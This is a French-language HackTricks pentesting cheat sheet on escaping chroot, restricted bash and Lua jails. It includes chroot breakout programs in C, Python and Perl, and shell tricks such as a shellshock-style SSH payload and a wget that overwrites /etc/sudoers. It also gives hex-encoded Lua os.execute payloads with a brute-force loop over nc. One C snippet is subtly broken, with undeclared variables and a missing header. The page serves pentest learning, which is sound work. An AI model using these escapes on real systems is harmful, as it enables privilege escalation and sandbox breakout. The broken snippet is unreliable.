Évasion des Jails
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
GTFOBins
Recherchez sur https://gtfobins.github.io/ si vous pouvez exécuter un binaire avec la propriété "Shell"
Évasions Chroot
D'après wikipedia : Le mécanisme chroot n'est pas destiné à défendre contre la manipulation intentionnelle par des utilisateurs privilégiés (root). Sur la plupart des systèmes, les contextes chroot ne s'empilent pas correctement et les programmes chrootés avec des privilèges suffisants peuvent effectuer un second chroot pour s'échapper.
En général, cela signifie que pour s'échapper, vous devez être root à l'intérieur du chroot.
tip
L'outil chw00t a été créé pour abuser des scénarios suivants et s'échapper de chroot
.
Root + CWD
warning
Si vous êtes root à l'intérieur d'un chroot, vous pouvez vous échapper en créant un autre chroot. Cela parce que 2 chroots ne peuvent pas coexister (dans Linux), donc si vous créez un dossier et ensuite créez un nouveau chroot dans ce nouveau dossier en étant vous à l'extérieur, vous serez maintenant à l'extérieur du nouveau chroot et donc vous serez dans le FS.
Cela se produit parce que généralement chroot NE déplace PAS votre répertoire de travail vers celui indiqué, donc vous pouvez créer un chroot mais être à l'extérieur de celui-ci.
En général, vous ne trouverez pas le binaire chroot
à l'intérieur d'une jail chroot, mais vous pourriez compiler, télécharger et exécuter un binaire :
C: break_chroot.c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
//gcc break_chroot.c -o break_chroot
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}
Python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Perl
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
chdir ".."
}
chroot ".";
system("/bin/bash");
Root + fd sauvegardé
warning
Cela est similaire au cas précédent, mais dans ce cas, l'attaquant stocke un descripteur de fichier vers le répertoire courant et ensuite crée le chroot dans un nouveau dossier. Enfin, comme il a accès à ce FD en dehors du chroot, il y accède et il s'échappe.
C: break_chroot.c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
//gcc break_chroot.c -o break_chroot
int main(void)
{
mkdir("tmpdir", 0755);
dir_fd = open(".", O_RDONLY);
if(chroot("tmpdir")){
perror("chroot");
}
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
}
Root + Fork + UDS (Unix Domain Sockets)
warning
FD peut être passé par des Unix Domain Sockets, donc :
- Créer un processus enfant (fork)
- Créer UDS pour que le parent et l'enfant puissent communiquer
- Exécuter chroot dans le processus enfant dans un dossier différent
- Dans le processus parent, créer un FD d'un dossier qui est en dehors du chroot du nouveau processus enfant
- Passer à l'enfant ce FD en utilisant l'UDS
- Le processus enfant chdir vers ce FD, et parce qu'il est en dehors de son chroot, il s'échappera de la prison
Root + Mount
warning
- Monter le périphérique racine (/) dans un répertoire à l'intérieur du chroot
- Chroot dans ce répertoire
Cela est possible sous Linux
Root + /proc
warning
- Monter procfs dans un répertoire à l'intérieur du chroot (si ce n'est pas déjà fait)
- Chercher un pid qui a une entrée root/cwd différente, comme : /proc/1/root
- Chroot dans cette entrée
Root(?) + Fork
warning
- Créer un Fork (processus enfant) et chroot dans un dossier différent plus profondément dans le FS et CD dessus
- Depuis le processus parent, déplacer le dossier où se trouve le processus enfant dans un dossier précédent au chroot des enfants
- Ce processus enfant se retrouvera en dehors du chroot
ptrace
warning
- Il y a longtemps, les utilisateurs pouvaient déboguer leurs propres processus depuis un processus d'eux-mêmes... mais cela n'est plus possible par défaut
- Quoi qu'il en soit, si c'est possible, vous pourriez ptrace dans un processus et exécuter un shellcode à l'intérieur (voir cet exemple).
Bash Jails
Enumeration
Obtenez des informations sur la prison :
echo $SHELL
echo $PATH
env
export
pwd
Modifier PATH
Vérifiez si vous pouvez modifier la variable d'environnement PATH
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
Utiliser vim
:set shell=/bin/sh
:shell
Créer un script
Vérifiez si vous pouvez créer un fichier exécutable avec /bin/bash comme contenu
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
Obtenir bash depuis SSH
Si vous accédez via ssh, vous pouvez utiliser cette astuce pour exécuter un shell bash :
ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "
Déclarer
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
Wget
Vous pouvez écraser par exemple le fichier sudoers.
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
Autres astuces
https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
https://gtfobins.github.io
Il pourrait également être intéressant de consulter la page :
Python Jails
Astuces sur l'évasion des jails python dans la page suivante :
Lua Jails
Dans cette page, vous pouvez trouver les fonctions globales auxquelles vous avez accès à l'intérieur de lua : https://www.gammon.com.au/scripts/doc.php?general=lua_base
Eval avec exécution de commande :
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
Quelques astuces pour appeler des fonctions d'une bibliothèque sans utiliser de points :
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
Énumérer les fonctions d'une bibliothèque :
for k,v in pairs(string) do print(k,v) end
Notez que chaque fois que vous exécutez la ligne de commande précédente dans un environnement lua différent, l'ordre des fonctions change. Par conséquent, si vous devez exécuter une fonction spécifique, vous pouvez effectuer une attaque par force brute en chargeant différents environnements lua et en appelant la première fonction de la bibliothèque :
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Obtenir un shell lua interactif : Si vous êtes à l'intérieur d'un shell lua limité, vous pouvez obtenir un nouveau shell lua (et espérons-le illimité) en appelant :
debug.debug()
Références
- https://www.youtube.com/watch?v=UO618TeyCWo (Diapositives : https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.